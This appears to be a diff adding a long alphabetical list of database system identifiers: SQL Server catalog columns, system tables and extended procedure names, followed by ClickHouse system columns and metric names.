+sql_memory_model_desc +sql_message_id +sql_modules +SQL_PATH +sql_plan_node_id +sql_prof_address +sqlserver_start_time +sqlserver_start_time_ms_ticks +sql_severity +sql_spid +sql_text +sql_variant +srvcollation +srvid +srvname +srvnetname +srvproduct +srvstatus +ssl_port +ssrv +stack_address +stack_base_address +stack_bytes_committed +stack_bytes_used +stack_checker_address +stack_end_address +stack_size_in_bytes +stage +stale_query_threshold_days +start_column_id +start_date +started_by_sqlservr +started_count +start_entry_point +start_log_block_id +start_lsn +start_quantum +start_step_id +start_time +StartTime +start_time_utc +startup_state +startup_time +startup_type +startup_type_desc +start_value +START_VALUE +statblob +state +State +state_desc +state_description +state_machine_name +statement +statement_context_id +statement_end_offset +statement_line_number +statement_offset_begin +statement_offset_end +statement_offset_start +statement_sql_handle +statement_start_offset +statement_type +statistical_semantics +statistics_start_time +stats +stats_blob +stats_column_id +stats_columns +stats_enabled +stats_generation_method +stats_generation_method_desc +stats_id +stats_schema_ver +status +status2 +status_desc +status_description +statussequence +status_time +StatVersion +stdev_clr_time +stdev_cpu_time +stdev_dop +stdev_duration +stdev_log_bytes_used +stdev_logical_io_reads +stdev_logical_io_writes +stdev_num_physical_io_reads +stdev_page_server_io_reads +stdev_physical_io_reads +stdev_query_max_used_memory +stdev_query_wait_time_ms +stdev_rowcount +stdev_tempdb_space_used +stdev_time +step_count +step_id +step_index +step_name +step_number +steps +step_uid +stmt_end +stmt_start +stop_entry_point +stoplist_id +stoplistid +stop_time +stopword +storage_key +storage_pool_id +storage_pool_node_name +storage_space_used_mb +stream_id +string_delimiter +string_description +string_sid +strong_refcount +sub +subclass_name +subclass_value +subentity_name +subid +subid_push +subid_tran +subject +sublatch_address +submit_time +subobjid +subsystem +subsystem_dll +subsystem_id +succeeded +success +Success +sumsquare_clr_time +sumsquare_cpu_time +sumsquare_dop +sumsquare_duration +sumsquare_log_bytes_used +sumsquare_logical_io_reads +sumsquare_logical_io_writes +sumsquare_num_physical_io_reads +sumsquare_page_server_io_reads +sumsquare_physical_io_reads +sumsquare_query_max_used_memory +sumsquare_query_wait_time_ms +sumsquare_rowcount +sumsquare_tempdb_space_used +superlatch_address +supports_alternate_streams +supports_compression +supports_sparse_files +suppress_dup_key_messages +survived_memory_kb +suspend_reason +suspend_reason_desc +svcbrkrguid +svccontr +svcid +sweep_rows_expired +sweep_rows_expired_removed +sweep_rows_expiring +sweep_rows_touched +sweep_scan_retries +sweep_scans_started +symbol_space +symbol_space_desc +symmetric_key_export +symmetric_key_id +symmetric_key_import +symmetric_key_persistance +symmetric_keys +symmetric_key_support +symspace +sync_action +synchronization_health +synchronization_health_desc +synchronization_state +synchronization_state_desc +sync_id +sync_reason +sync_result +synonyms +sysadmin +sysallocunits +sysaltfiles +sysasymkeys +sysaudacts +sysbinobjs +sysbinsubobjs +sysbrickfiles +syscacheobjects +syscerts +syscharsets +syschildinsts +sysclones +sysclsobjs +syscolpars +syscolumns +syscomments +syscommittab +syscompfragments +sysconfigures +sysconstraints +sysconvgroup +syscscolsegments +syscscontainers +syscsdictionaries +syscsrowgroups +syscurconfigs +syscursorcolumns +syscursorrefs +syscursors +syscursortables +sysdatabases +sysdbfiles +sysdbfrag +sysdbpath +sysdbreg +sysdepends +sysdercv +sysdesend +sysdevices +sysendpts +sysextendedrecoveryforks +sysextfileformats +sysextsources +sysexttables +sysfgfrag +sysfilegroups +sysfiles +sysfiles1 +sysfoqueues +sysforeignkeys +sysfos +sysftinds +sysftproperties +sysftsemanticsdb +sysftstops +sysfulltextcatalogs +sysguidrefs +sysidxstats +sysindexes +sysindexkeys +sysiscols +syslanguages +syslnklgns +syslockinfo +syslogins +syslogshippers +sysmatrixageforget +sysmatrixages +sysmatrixbricks +sysmatrixconfig +sysmatrixmanagers +sysmembers +sysmessages +sysmultiobjrefs +sysmultiobjvalues +sysname +sysnsobjs +sysobjects +sysobjkeycrypts +sysobjvalues +sysoledbusers +sysopentapes +sysowners +sysperfinfo +syspermissions +sysphfg +syspriorities +sysprivs +sysprocesses +sysprotects +syspru +sysprufiles +sysqnames +sysreferences +sysremotelogins +sysremsvcbinds +sysrmtlgns +sysrowsetrefs +sysrowsets +sysrscols +sysrts +sysscalartypes +sysschobjs +sysseobjvalues +sysseq +sysservers +syssingleobjrefs +syssoftobjrefs +syssqlguides +sysstat +system +system_aborts +system_cache_kb +system_columns +system_components_surface_area_configuration +system_high_memory_signal_state +system_internals_allocation_units +system_internals_partition_columns +system_internals_partitions +system_lookups +system_low_memory_signal_state +system_memory_state_desc +system_objects +system_parameters +system_scans +system_seeks +system_sequence +system_sql_modules +system_time_cs +system_type_id +system_type_name +system_updates +system_views +systypedsubobjs +systypes +sysusermsgs +sysusers +syswebmethods +sysxlgns +sysxmitbody +sysxmitqueue +sysxmlcomponent +sysxmlfacet +sysxmlplacement +sysxprops +sysxsrvs +tabid +table_address +table_alter_failures +table_alter_successes +TABLE_CATALOG +TABLE_CONSTRAINTS +table_create_failures +table_create_not_eligible +table_create_successes +table_directory_name +table_drop_failures +table_drop_successes +table_hashes +table_id +table_level +table_name +TABLE_NAME +table_owner +TABLE_PRIVILEGES +tables +TABLES +TABLE_SCHEMA +tables_in_source +tables_to_alter +tables_to_create +tables_to_drop +TABLE_TYPE +table_types +tabname +tabschema +tag +tail_cache_max_page_count +tail_cache_min_needed_lsn +tail_cache_page_count +tape_operation +tape_operation_desc +target +target_allocations_kb +target_data +target_database_principal_id +target_database_principal_name +target_id +target_kb +TargetLoginName +TargetLoginSid +target_memory_kb +target_name +target_object_id +target_package_guid +target_private_pool_size +target_recovery_time_in_seconds +target_schema_name +target_server_principal_id +target_server_principal_name +target_server_principal_sid +target_table_name +target_type +TargetUserName +task_address +task_bound_ms_ticks +task_id +task_memory_object_address +task_proxy_address +task_retries +tasks_processed_count +task_state +task_state_desc +tasks_waiting +task_type +task_type_desc +tbl_server_resource_stats +tcp_endpoints +tdefault +tdscollation +temporal_type +temporal_type_desc +tessellation_scheme +text +TextData +textinfo_address +text_in_row_limit +TextPtr +text_size +texttype +tgid +thread_address +thread_count +thread_handle +thread_id +thread_type +thread_type_desc +threshold +threshold_factor +thumbprint +ti +ticks_at_cycle_end +ticks_at_cycle_start +time +time_consumed +timelimit +timeout +timeout_error_count +timeout_sec +time_queued +timer_task_affinity_mask +time_since_last_close_in_ms +time_since_last_use +time_source +time_source_desc +timestamp +TimeStamp +timestamp_utc +time_to_generate +time_to_live +time_utc +time_zone +time_zone_info +tinyint +tinyprop +tinyprop1 +tinyprop2 +tinyprop3 +tinyprop4 +tobrkrinst +to_broker_instance +token +to_object_id +topologyx +topologyy +to_service_name +tosvc +total_aborts +total_actions_scheduled +total_allocated_memory_kb +total_bind_cpu_time +total_bind_duration +total_bucket_count +total_buffer_size +total_bytes +total_bytes_generated +total_bytes_received +total_bytes_sent +total_cache_misses +total_cell_count +total_clr_time +total_columnstore_segment_reads +total_columnstore_segment_skips +total_compile_duration +total_compile_memory_kb +total_count +total_cpu_active_ms +total_cpu_delayed_ms +total_cpu_idle_capped_ms +total_cpu_kernel_ms +total_cpu_limit_violation_count +total_cpu_time +total_cpu_usage +total_cpu_usage_ms +total_cpu_usage_preemptive_ms +total_cpu_user_ms +total_cpu_violation_delay_ms +total_cpu_violation_sec +total_dequeues +total_disk_io_wait_time_ms +total_disk_reads +total_dop +total_duration +total_elapsed_time +total_elapsed_time_ms +total_enqueues +total_errors +total_evicted_session_count +total_execution_time +total_forks_cnt +total_fragments_received +total_fragments_sent +total_grant_kb +total_ideal_grant_kb +total_inrow_version_payload_size_in_bytes +total_kb +total_kernel_time +total_large_buffers +total_lock_wait_count +total_lock_wait_time_ms +total_log_bytes_used +total_logical_io_reads +total_logical_io_writes +total_logical_reads +total_logical_writes +total_log_size_in_bytes +total_log_size_mb +total_memgrant_count +total_memgrant_timeout_count +total_memory_kb +total_network_wait_time_ms +total_num_page_server_reads +total_num_physical_io_reads +total_num_physical_reads +total_operation_count +total_optimize_cpu_time +total_optimize_duration +total_overlap +total_page_count +total_page_file_kb +total_pages +total_page_server_io_reads +total_page_server_reads +total_parse_cpu_time +total_parse_duration +total_physical_io_reads +total_physical_memory_kb +total_physical_reads +total_poor_row_groups_analyzed +total_processor_elapsed_time +total_processor_time_ms +total_query_max_used_memory +total_query_optimization_count +total_query_wait_time_ms +total_queued_request_count +total_read +total_receives +total_reduced_memgrant_count +total_regular_buffers +total_request_count +total_request_execution_timeouts +total_requests +total_reserved_threads +total_resource_grant_timeouts +total_rowcount +total_row_groups_analyzed +total_rows +total_rows_analyzed +total_scheduled_time +total_scheduler_delay_ms +total_sends +total_sessions +total_shared_resource_requests +total_size +total_spills +total_suboptimal_plan_generation_count +total_target_memory +total_tempdb_space_used +total_used_grant_kb +total_used_threads +total_user_elapsed_time +total_user_time +total_virtual_address_space_kb +total_vlf_count +total_wait_time_in_ms +total_worker_time +total_write +totcpu +totio +trace_categories +trace_column_id +trace_columns +trace_event_bindings +trace_event_id +trace_events +traceid +traces +trace_subclass_values +trace_xe_action_map +trace_xe_event_map +track_causality +tran_count +transaction_begin_time +transaction_description +transaction_descriptor +transaction_diag_status +transaction_id +TransactionID +transaction_isolation_level +transaction_is_snapshot +transaction_manager_database_id +transaction_manager_database_name +transaction_manager_dbid +transaction_manager_rmid +transaction_manager_server_name +transaction_ordinal +transaction_phase_1_time +transaction_phase_2_time +transaction_sequence_num +transactions_root_hash +transaction_state +transaction_status +transaction_status2 +transaction_timeout +transaction_total_time +transaction_type +transaction_uow +transfer_rate_bytes_per_second +transferred_size_bytes +transition_to_compressed_state +transition_to_compressed_state_desc +transmission_queue +transmission_status +transport_stream_id +tree_page_io_latch_wait_count +tree_page_io_latch_wait_in_ms +tree_page_latch_wait_count +tree_page_latch_wait_in_ms +trigger_events +trigger_event_types +triggers +trim_reason +trim_reason_desc +truncate_point +truncation_lsn +_trusted_assemblies +trusted_assemblies +ts +tsql_stack +tstat +two_digit_year_cutoff +tx_bytes +tx_carrier +tx_collisions +tx_compressed +tx_drop +tx_end_timestamp +tx_errors +tx_fifo +txn_tag +txn_type +tx_packets +tx_segments_dispatched_count +type +Type +type_assembly_usages +type_column_id +type_desc +typeint +type_name +type_package_guid +types +type_size +typestat +type_table_object_id +TYPE_UDT_CATALOG +TYPE_UDT_NAME +TYPE_UDT_SCHEMA +UDT_CATALOG +UDT_NAME +UDT_SCHEMA +uid +unackmfn +unallocated_extent_page_count +unfiltered_rows +unique_compiles +UNIQUE_CONSTRAINT_CATALOG +UNIQUE_CONSTRAINT_NAME +UNIQUE_CONSTRAINT_SCHEMA +unique_constraint_violations +uniqueidentifier +unique_index_id +unit_conversion_factor +unit_of_measure +unit_of_work +unsuccessful_logons +updadd +updatedate +updated_last_round_count +update_referential_action +update_referential_action_desc +UPDATE_RULE +update_time +updmod +updtrig +upgrade +upgrade_start_level +upgrade_target_level +upper_bound_tsn +uptime_secs +uri +uriord +url_path +usage +use_count +usecounts +used +used_bytes +used_log_space_in_bytes +used_log_space_in_percent +used_memgrant_kb +used_memory_kb +used_page_count +used_pages +used_worker_count +use_identity +user_access +user_access_desc +user_created +user_defined_event_id +user_defined_information +USER_DEFINED_TYPE_CATALOG +USER_DEFINED_TYPE_NAME +USER_DEFINED_TYPE_SCHEMA +useremotecollation +user_id +user_lookups +usermode_time +user_name +username +user_object_reserved_page_count +user_objects_alloc_page_count +user_objects_dealloc_page_count +user_objects_deferred_dealloc_page_count +user_scans +user_seeks +userstat +user_time +user_time_cs +user_token +usertype +user_type_database +user_type_id +user_type_name +user_type_schema +user_updates +uses_ansi_nulls +uses_database_collation +uses_key_normalization +uses_native_compilation +uses_quoted_identifier +uses_remote_collation +uses_self_credential +use_type_default +using_xml_index_id +utype +valclass +validation +validation_desc +validation_failures +valid_since +valnum +value +value_data +value_for_secondary +value_in_use +value_name +value_of_memory +varbinary +varchar +variable +VerboseLogging +version +version_generated_inrow +version_generated_offrow +version_ghost_record_count +version_record_count +version_sequence_num +version_store_reserved_page_count +via_endpoints +VIEW_CATALOG +VIEW_COLUMN_USAGE +VIEW_DEFINITION +VIEW_NAME +views +VIEWS +VIEW_SCHEMA +VIEW_TABLE_USAGE +virtual_address_space_available_kb +virtual_address_space_committed_kb +virtual_address_space_reserved_kb +virtual_bytes +virtual_bytes_peak +virtual_core_count +virtual_machine_type +virtual_machine_type_desc +virtual_memory_committed_kb +virtual_memory_kb +virtual_memory_reserved_kb +visible_target_kb +vlf_active +vlf_begin_offset +vlf_create_lsn +vlf_encryptor_thumbprint +vlf_first_lsn +vlf_parity +vlf_sequence_number +vlf_size_mb +vlf_status +vm_metric_name +volume_id +volume_mount_point +volume_name +vstart +wait_category +wait_category_desc +wait_duration +wait_duration_ms +waiter_count +wait_id +waiting_requests_count +waiting_task_address +waiting_tasks_count +waiting_threads_count +wait_name +wait_order +wait_reason +wait_resource +waitresource +wait_resumed_ms_ticks +waits_for_io_count +waits_for_new_log_count +wait_started_ms_ticks +wait_stats_capture_mode +wait_stats_capture_mode_desc +wait_stats_id +wait_time +waittime +wait_time_before_idle +wait_time_ms +wait_type +waittype +warm_cold_check_ticks +warm_count +weak_refcount +weight +weighted_io_time_ms +well_known_text +windows_release +windows_service_pack_level +windows_sku +with_check_option +witnesssequence +worker_address +worker_count +worker_created_ms_ticks +worker_migration_count +worker_time +work_id +working_set +workingset_limit_mb +working_set_peak +working_set_private +workitem_type +workitem_version +work_queue_count +workspace_name +write_access +write_bytes_total +write_conflicts +write_count +write_io_completed_total +write_io_count +write_io_issued_total +write_io_queued_total +write_io_stall_queued_ms +write_io_stall_total_ms +write_io_throttled_total +write_lease_remaining_ticks +write_operation_count +write_page_count +writes +Writes +writes_completed +write_set_row_count +writes_merged +write_time +write_time_ms +write_version +wsdl_generator_procedure +wsdlproc +wszArtdelcmd +wszArtdesttable +wszArtdesttableowner +wszArtinscmd +wszArtpartialupdcmd +wszArtupdcmd +xacts_copied_to_local +XactSequence +xacts_in_gen_0 +xacts_in_gen_1 +xacts_in_gen_10 +xacts_in_gen_11 +xacts_in_gen_12 +xacts_in_gen_13 +xacts_in_gen_14 +xacts_in_gen_15 +xacts_in_gen_2 +xacts_in_gen_3 +xacts_in_gen_4 +xacts_in_gen_5 +xacts_in_gen_6 +xacts_in_gen_7 +xacts_in_gen_8 +xacts_in_gen_9 +xdes_id +xdesid +xdes_ts_push +xdes_ts_tran +xdttm_ins +xdttm_last_ins_upd +xe_action_name +xe_event_name +xfallback_dbid +xfallback_drive +xfallback_low +xfallback_vstart +xmaxlen +xml +xml_collection_database +xml_collection_id +xml_collection_name +xml_collection_schema +xml_component_id +xml_data +xml_indexes +xml_index_type +xml_index_type_description +xml_namespace_id +xmlns +xml_schema_attributes +xml_schema_collections +xml_schema_component_placements +xml_schema_components +xml_schema_elements +xml_schema_facets +xml_schema_model_groups +xml_schema_namespaces +xml_schema_types +xml_schema_wildcard_namespaces +xml_schema_wildcards +xoffset +xp_availablemedia +xp_cmdshell +xp_copy_file +xp_copy_files +xp_create_subdir +xp_delete_file +xp_delete_files +xp_dirtree +xp_enumerrorlogs +xp_enumgroups +xp_enum_oledb_providers +xp_fileexist +xp_fixeddrives +xp_getnetname +xp_get_tape_devices +xp_grantlogin +xp_instance_regaddmultistring +xp_instance_regdeletekey +xp_instance_regdeletevalue +xp_instance_regenumkeys +xp_instance_regenumvalues +xp_instance_regread +xp_instance_regremovemultistring +xp_instance_regwrite +xp_logevent +xp_loginconfig +xp_logininfo +xp_msver +xp_msx_enlist +xp_passAgentInfo +xp_prop_oledb_provider +xp_qv +xp_readerrorlog +xprec +xp_regaddmultistring +xp_regdeletekey +xp_regdeletevalue +xp_regenumkeys +xp_regenumvalues +xp_regread +xp_regremovemultistring +xp_regwrite +xp_repl_convert_encrypt_sysadmin_wrapper +xp_replposteor +xp_revokelogin +xp_servicecontrol +xp_sprintf +xp_sqlagent_enum_jobs +xp_sqlagent_is_starting +xp_sqlagent_monitor +xp_sqlagent_notify +xp_sqlagent_param +xp_sqlmaint +xp_sscanf +xp_subdirs +xp_sysmail_activate +xp_sysmail_attachment_load +xp_sysmail_format_query +xquery_max_length +xquery_type_description +xscale +xsdid +xserver_name +xtp_address +xtp_description +xtp_log_bytes_consumed +xtp_object_id +xtp_parent_transaction_id +xtp_parent_transaction_node_id +xtp_transaction_id +xtype +xusertype +yield_count +zone_type + +[ClickHouse] +absolute_delay +access_object +access_type +active +active_children +active_on_fly_alter_mutations +active_on_fly_data_mutations +active_on_fly_metadata_mutations +active_parts +active_replicas +additional_format_info +address +address_begin +address_end +age +aggregate_function_combinators +aliases +alias_for +alias_to +allocations +allow_dynamic_cache_resize +allow_readonly +alnum +alphabetic +alterable +apply_to_all +apply_to_except +apply_to_list +arguments +ascii_hex_digit +as_select +asynchronous_inserts +asynchronous_loader +asynchronous_metric_log +asynchronous_metrics +asynchronous_read_counters +authenticated_user +auth_params +auth_type +azure_queue +azure_queue_settings +background_download_max_file_segment_size +background_download_queue_size_limit +background_download_threads +background_schedule_pool +background_schedule_pool_log +backups +base_backup_name +basic_emoji +belongs +bidi_class +bidi_control +bidi_mirrored +bidi_mirroring_glyph +bidi_paired_bracket +bidi_paired_bracket_type +blank +block +boundary_alignment +broken_data_compressed_bytes +broken_data_files +budget +build_id +build_options +busy_periods +bypass_cache_threshold +bytes +bytes_allocated +bytes_on_disk +bytes_read +bytes_read_compressed +bytes_read_uncompressed +bytes_uncompressed +bytes_written_uncompressed +cache_base_path +cached_at +cache_hits +cache_hits_threshold +cache_name +cache_on_write_operations +cache_path +cache_paths +cache_policy +can_become_leader +canceled_cost +canceled_requests +canonical_combining_class +cardinality +CARDINALITY +cased +case_folding +case_ignorable +case_insensitive +case_sensitive +catalog_name +CATALOG_NAME +categories +certificates +changeable_without_restart +changed +changes +changes_when_casefolded +changes_when_casemapped +changes_when_lowercased +changes_when_nfkc_casefolded +changes_when_titlecased +changes_when_uppercased +character_maximum_length +CHARACTER_MAXIMUM_LENGTH +character_octet_length +CHARACTER_OCTET_LENGTH +character_set_catalog +CHARACTER_SET_CATALOG +character_set_name +CHARACTER_SET_NAME +character_sets +CHARACTER_SETS +character_set_schema +CHARACTER_SET_SCHEMA +check_option +CHECK_OPTION +client_hostname +client_name +client_revision +client_version_major +client_version_minor +client_version_patch +cluster +clusters +code +codecs +code_point +code_point_value +collation +COLLATION +collation_catalog +COLLATION_CATALOG +collation_name +COLLATION_NAME +collations +COLLATIONS +collation_schema +COLLATION_SCHEMA +collection +column +column_bytes_on_disk +column_comment +COLUMN_COMMENT +column_data_compressed_bytes +column_data_uncompressed_bytes +column_default +COLUMN_DEFAULT +column_marks_bytes +column_modification_time +column_name +COLUMN_NAME +column_position +columns +COLUMNS +columns_descriptions_cache_size +columns_version +columns_written +column_ttl_max +column_ttl_min +column_type +COLUMN_TYPE +command +comment +COMMENT +common_prefix_for_blobs +completions +compressed +compressed_size +compression_codec +condition +condition_hash +config_name +constraint_catalog +CONSTRAINT_CATALOG +constraint_name +CONSTRAINT_NAME +constraint_schema +CONSTRAINT_SCHEMA +consumer_id +content_type +context +contributors +cpu_id +create_query +create_table_query +create_time +creation_csn +creation_tid +current_database +current_elements_num +CurrentMetric_ActiveTimersInQueryProfiler +CurrentMetric_AddressesActive +CurrentMetric_AddressesBanned +CurrentMetric_AggregatorThreads +CurrentMetric_AggregatorThreadsActive +CurrentMetric_AggregatorThreadsScheduled +CurrentMetric_AsynchronousInsertQueueBytes +CurrentMetric_AsynchronousInsertQueueSize +CurrentMetric_AsynchronousInsertThreads +CurrentMetric_AsynchronousInsertThreadsActive +CurrentMetric_AsynchronousInsertThreadsScheduled +CurrentMetric_AsynchronousReadWait +CurrentMetric_AsyncInsertCacheSize +CurrentMetric_AttachedDatabase +CurrentMetric_AttachedDictionary +CurrentMetric_AttachedReplicatedTable +CurrentMetric_AttachedTable +CurrentMetric_AttachedView +CurrentMetric_AvroSchemaCacheBytes +CurrentMetric_AvroSchemaCacheCells +CurrentMetric_AvroSchemaRegistryCacheBytes +CurrentMetric_AvroSchemaRegistryCacheCells +CurrentMetric_AzureRequests +CurrentMetric_BackgroundBufferFlushSchedulePoolSize +CurrentMetric_BackgroundBufferFlushSchedulePoolTask +CurrentMetric_BackgroundCommonPoolSize +CurrentMetric_BackgroundCommonPoolTask +CurrentMetric_BackgroundDistributedSchedulePoolSize +CurrentMetric_BackgroundDistributedSchedulePoolTask +CurrentMetric_BackgroundFetchesPoolSize +CurrentMetric_BackgroundFetchesPoolTask +CurrentMetric_BackgroundMergesAndMutationsPoolSize +CurrentMetric_BackgroundMergesAndMutationsPoolTask +CurrentMetric_BackgroundMessageBrokerSchedulePoolSize +CurrentMetric_BackgroundMessageBrokerSchedulePoolTask +CurrentMetric_BackgroundMovePoolSize +CurrentMetric_BackgroundMovePoolTask +CurrentMetric_BackgroundSchedulePoolSize +CurrentMetric_BackgroundSchedulePoolTask +CurrentMetric_BackupsIOThreads +CurrentMetric_BackupsIOThreadsActive +CurrentMetric_BackupsIOThreadsScheduled +CurrentMetric_BackupsThreads +CurrentMetric_BackupsThreadsActive +CurrentMetric_BackupsThreadsScheduled +CurrentMetric_BcryptCacheBytes +CurrentMetric_BcryptCacheSize +CurrentMetric_BrokenDisks +CurrentMetric_BrokenDistributedBytesToInsert +CurrentMetric_BrokenDistributedFilesToInsert +CurrentMetric_BuildVectorSimilarityIndexThreads +CurrentMetric_BuildVectorSimilarityIndexThreadsActive +CurrentMetric_BuildVectorSimilarityIndexThreadsScheduled +CurrentMetric_CacheDetachedFileSegments +CurrentMetric_CacheDictionaryThreads +CurrentMetric_CacheDictionaryThreadsActive +CurrentMetric_CacheDictionaryThreadsScheduled +CurrentMetric_CacheDictionaryUpdateQueueBatches +CurrentMetric_CacheDictionaryUpdateQueueKeys +CurrentMetric_CacheFileSegments +CurrentMetric_CacheWarmerBytesInProgress +CurrentMetric_ColumnsDescriptionsCacheSize +CurrentMetric_CompiledExpressionCacheBytes +CurrentMetric_CompiledExpressionCacheCount +CurrentMetric_Compressing +CurrentMetric_CompressionThread +CurrentMetric_CompressionThreadActive +CurrentMetric_CompressionThreadScheduled +CurrentMetric_ConcurrencyControlAcquired +CurrentMetric_ConcurrencyControlAcquiredNonCompeting +CurrentMetric_ConcurrencyControlPreempted +CurrentMetric_ConcurrencyControlScheduled +CurrentMetric_ConcurrencyControlSoftLimit +CurrentMetric_ConcurrentHashJoinPoolThreads +CurrentMetric_ConcurrentHashJoinPoolThreadsActive +CurrentMetric_ConcurrentHashJoinPoolThreadsScheduled +CurrentMetric_ConcurrentQueryAcquired +CurrentMetric_ConcurrentQueryScheduled +CurrentMetric_ContextLockWait +CurrentMetric_CoordinatedMergesCoordinatorAssignedMerges +CurrentMetric_CoordinatedMergesCoordinatorRunningMerges +CurrentMetric_CoordinatedMergesWorkerAssignedMerges +CurrentMetric_CreatedTimersInQueryProfiler +CurrentMetric_DatabaseBackupThreads +CurrentMetric_DatabaseBackupThreadsActive +CurrentMetric_DatabaseBackupThreadsScheduled +CurrentMetric_DatabaseCatalogThreads +CurrentMetric_DatabaseCatalogThreadsActive +CurrentMetric_DatabaseCatalogThreadsScheduled +CurrentMetric_DatabaseOnDiskThreads +CurrentMetric_DatabaseOnDiskThreadsActive +CurrentMetric_DatabaseOnDiskThreadsScheduled +CurrentMetric_DatabaseReplicatedCreateTablesThreads +CurrentMetric_DatabaseReplicatedCreateTablesThreadsActive +CurrentMetric_DatabaseReplicatedCreateTablesThreadsScheduled +CurrentMetric_DDLWorkerThreads +CurrentMetric_DDLWorkerThreadsActive +CurrentMetric_DDLWorkerThreadsScheduled +CurrentMetric_Decompressing +CurrentMetric_DelayedInserts +CurrentMetric_DestroyAggregatesThreads +CurrentMetric_DestroyAggregatesThreadsActive +CurrentMetric_DestroyAggregatesThreadsScheduled +CurrentMetric_DictCacheRequests +CurrentMetric_DiskConnectionsStored +CurrentMetric_DiskConnectionsTotal +CurrentMetric_DiskObjectStorageAsyncThreads +CurrentMetric_DiskObjectStorageAsyncThreadsActive +CurrentMetric_DiskPlainRewritableAzureDirectoryMapSize +CurrentMetric_DiskPlainRewritableAzureFileCount +CurrentMetric_DiskPlainRewritableLocalDirectoryMapSize +CurrentMetric_DiskPlainRewritableLocalFileCount +CurrentMetric_DiskPlainRewritableS3DirectoryMapSize +CurrentMetric_DiskPlainRewritableS3FileCount +CurrentMetric_DiskS3NoSuchKeyErrors +CurrentMetric_DiskSpaceReservedForMerge +CurrentMetric_DistrCacheAllocatedConnections +CurrentMetric_DistrCacheBorrowedConnections +CurrentMetric_DistrCacheOpenedConnections +CurrentMetric_DistrCacheReadBuffers +CurrentMetric_DistrCacheReadRequests +CurrentMetric_DistrCacheRegisteredServers +CurrentMetric_DistrCacheRegisteredServersCurrentAZ +CurrentMetric_DistrCacheServerConnections +CurrentMetric_DistrCacheServerRegistryConnections +CurrentMetric_DistrCacheServerS3CachedClients +CurrentMetric_DistrCacheSharedLimitCount +CurrentMetric_DistrCacheUsedConnections +CurrentMetric_DistrCacheWriteBuffers +CurrentMetric_DistrCacheWriteRequests +CurrentMetric_DistributedBytesToInsert +CurrentMetric_DistributedFilesToInsert +CurrentMetric_DistributedInsertThreads +CurrentMetric_DistributedInsertThreadsActive +CurrentMetric_DistributedInsertThreadsScheduled +CurrentMetric_DistributedSend +CurrentMetric_DNSAddressesCacheBytes +CurrentMetric_DNSAddressesCacheSize +CurrentMetric_DNSHostsCacheBytes +CurrentMetric_DNSHostsCacheSize +CurrentMetric_DropDistributedCacheThreads +CurrentMetric_DropDistributedCacheThreadsActive +CurrentMetric_DropDistributedCacheThreadsScheduled +CurrentMetric_EphemeralNode +CurrentMetric_FilesystemCacheDelayedCleanupElements +CurrentMetric_FilesystemCacheDownloadQueueElements +CurrentMetric_FilesystemCacheElements +CurrentMetric_FilesystemCacheHoldFileSegments +CurrentMetric_FilesystemCacheKeys +CurrentMetric_FilesystemCacheReadBuffers +CurrentMetric_FilesystemCacheReserveThreads +CurrentMetric_FilesystemCacheSize +CurrentMetric_FilesystemCacheSizeLimit +CurrentMetric_FilteringMarksWithPrimaryKey +CurrentMetric_FilteringMarksWithSecondaryKeys +CurrentMetric_FormatParsingThreads +CurrentMetric_FormatParsingThreadsActive +CurrentMetric_FormatParsingThreadsScheduled +CurrentMetric_FreezePartThreads +CurrentMetric_FreezePartThreadsActive +CurrentMetric_FreezePartThreadsScheduled +CurrentMetric_GlobalThread +CurrentMetric_GlobalThreadActive +CurrentMetric_GlobalThreadScheduled +CurrentMetric_HashedDictionaryThreads +CurrentMetric_HashedDictionaryThreadsActive +CurrentMetric_HashedDictionaryThreadsScheduled +CurrentMetric_HiveFilesCacheBytes +CurrentMetric_HiveFilesCacheFiles +CurrentMetric_HiveMetadataFilesCacheBytes +CurrentMetric_HiveMetadataFilesCacheFiles +CurrentMetric_HTTPConnection +CurrentMetric_HTTPConnectionsStored +CurrentMetric_HTTPConnectionsTotal +CurrentMetric_IcebergCatalogThreads +CurrentMetric_IcebergCatalogThreadsActive +CurrentMetric_IcebergCatalogThreadsScheduled +CurrentMetric_IcebergMetadataFilesCacheBytes +CurrentMetric_IcebergMetadataFilesCacheFiles +CurrentMetric_IDiskCopierThreads +CurrentMetric_IDiskCopierThreadsActive +CurrentMetric_IDiskCopierThreadsScheduled +CurrentMetric_IndexMarkCacheBytes +CurrentMetric_IndexMarkCacheFiles +CurrentMetric_IndexUncompressedCacheBytes +CurrentMetric_IndexUncompressedCacheCells +CurrentMetric_InterserverConnection +CurrentMetric_IOPrefetchThreads +CurrentMetric_IOPrefetchThreadsActive +CurrentMetric_IOPrefetchThreadsScheduled +CurrentMetric_IOThreads +CurrentMetric_IOThreadsActive +CurrentMetric_IOThreadsScheduled +CurrentMetric_IOUringInFlightEvents +CurrentMetric_IOUringPendingEvents +CurrentMetric_IOWriterThreads +CurrentMetric_IOWriterThreadsActive +CurrentMetric_IOWriterThreadsScheduled +CurrentMetric_IsServerShuttingDown +CurrentMetric_KafkaAssignedPartitions +CurrentMetric_KafkaBackgroundReads +CurrentMetric_KafkaConsumers +CurrentMetric_KafkaConsumersInUse +CurrentMetric_KafkaConsumersWithAssignment +CurrentMetric_KafkaLibrdkafkaThreads +CurrentMetric_KafkaProducers +CurrentMetric_KafkaWrites +CurrentMetric_KeeperAliveConnections +CurrentMetric_KeeperOutstandingRequests +CurrentMetric_LicenseRemainingSeconds +CurrentMetric_LocalThread +CurrentMetric_LocalThreadActive +CurrentMetric_LocalThreadScheduled +CurrentMetric_MarkCacheBytes +CurrentMetric_MarkCacheFiles +CurrentMetric_MarksLoaderThreads +CurrentMetric_MarksLoaderThreadsActive +CurrentMetric_MarksLoaderThreadsScheduled +CurrentMetric_MaxDDLEntryID +CurrentMetric_MaxPushedDDLEntryID +CurrentMetric_MemoryTracking +CurrentMetric_MemoryTrackingUncorrected +CurrentMetric_Merge +CurrentMetric_MergeJoinBlocksCacheBytes +CurrentMetric_MergeJoinBlocksCacheCount +CurrentMetric_MergeParts +CurrentMetric_MergesMutationsMemoryTracking +CurrentMetric_MergeTreeAllRangesAnnouncementsSent +CurrentMetric_MergeTreeBackgroundExecutorThreads +CurrentMetric_MergeTreeBackgroundExecutorThreadsActive +CurrentMetric_MergeTreeBackgroundExecutorThreadsScheduled +CurrentMetric_MergeTreeDataSelectExecutorThreads +CurrentMetric_MergeTreeDataSelectExecutorThreadsActive +CurrentMetric_MergeTreeDataSelectExecutorThreadsScheduled +CurrentMetric_MergeTreeFetchPartitionThreads +CurrentMetric_MergeTreeFetchPartitionThreadsActive +CurrentMetric_MergeTreeFetchPartitionThreadsScheduled 